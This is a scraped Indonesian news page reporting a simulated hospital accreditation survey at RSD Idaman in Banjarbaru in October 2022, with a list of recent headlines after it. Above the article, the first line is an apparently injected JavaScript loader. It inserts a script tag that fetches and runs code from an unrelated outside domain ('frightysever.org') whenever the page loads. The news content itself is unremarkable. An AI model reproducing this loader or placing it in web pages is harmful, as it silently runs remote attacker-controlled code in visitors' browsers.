(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Simulasi Survey Akreditasi, Persiapan RSD Idaman Penilaian Standar Baru Kemenkes


KANALKALIMANTAN.COM, BANJARBARU – Pelaksanaan survey simulasi akreditasi rumah sakit oleh Lembaga Akreditasi Rumah Sakit Damar Husada Paripurna (Lars DHP) digelar di Rumah Sakit Daerah (RSD) Idaman Kota Banjarbaru, Rabu (12/10/2022).

Momentum ini merupakan penilaian dan bimbingan yang didasari untuk menakar sejauh mana kekuatan RSD Idaman saat ini.

Direktur RSD Idaman Banjarbaru, dr Danny Indrawardhana mengatakan, pihaknya ingin bersungguh-sungguh dalam melaksanakan survey simulasi terlebih dahulu sebelum menuju penilaian yang sesungguhnya.

“Mengingat standar yang baru telah dilaunching bulan Mei 2022, jadi kami tidak mau main-main. Sehingga sebelum penilaian sesungguhnya kita perlu survey simulasi dulu,” ucapnya.

 

Baca juga  : Tiga TK Bareng Kunjungi Kids Library Palnam, Ini Loh Perpustakaan!

Dr Danny menambahkan, jika RSD Idaman dalam tahap survey simulasi mendapatkan nilai terbaik dan seluruh indikator di atas 80%, maka RSD Idaman akan segera menjadwalkan untuk survey penilaian yang sebenarnya.

“Rencananya kalau tidak Desember, bisa Januari. Itupun kalau nilai kita bagus, tapi kalau pembenahannya banyak sekali, maka akan kita review lagi,” tuturnya.

Karena batasan itu, lanjut dr Danny, ada di bulan Desember 2023, sehingga pada bulan itu seluruh RS di Indonesia harus terakreditasi dengan standar yang baru. Standar acuan internasional yang diperoleh dari Kementerian Kesehatan Republik Indonesia (Kemenkes RI).

 

Baca juga  : 190 Stan UMKM Meriahkan MTQ Nasional Kalsel Expo 2022

Disamping itu, RSD Idaman saat ini sudah mencapai 100% persiapan khususnya dari indikator dokumen yakni terkait pencegahan dan pengendalian infeksi, indikator mutu dan keselamatan pasien, kualifikasi staf, manajemen fasilitas dan keselamatan, tata kelola obat dan lain-lain.

“Nanti akan kita buktikan hari ini sampai besok, kita akan telusur ke lapangan untuk melihat sudah seberapa jauh implementasi dari kesesuaian standar akreditasi di lapangan,” tuntasnya. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

12 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

14 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

15 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.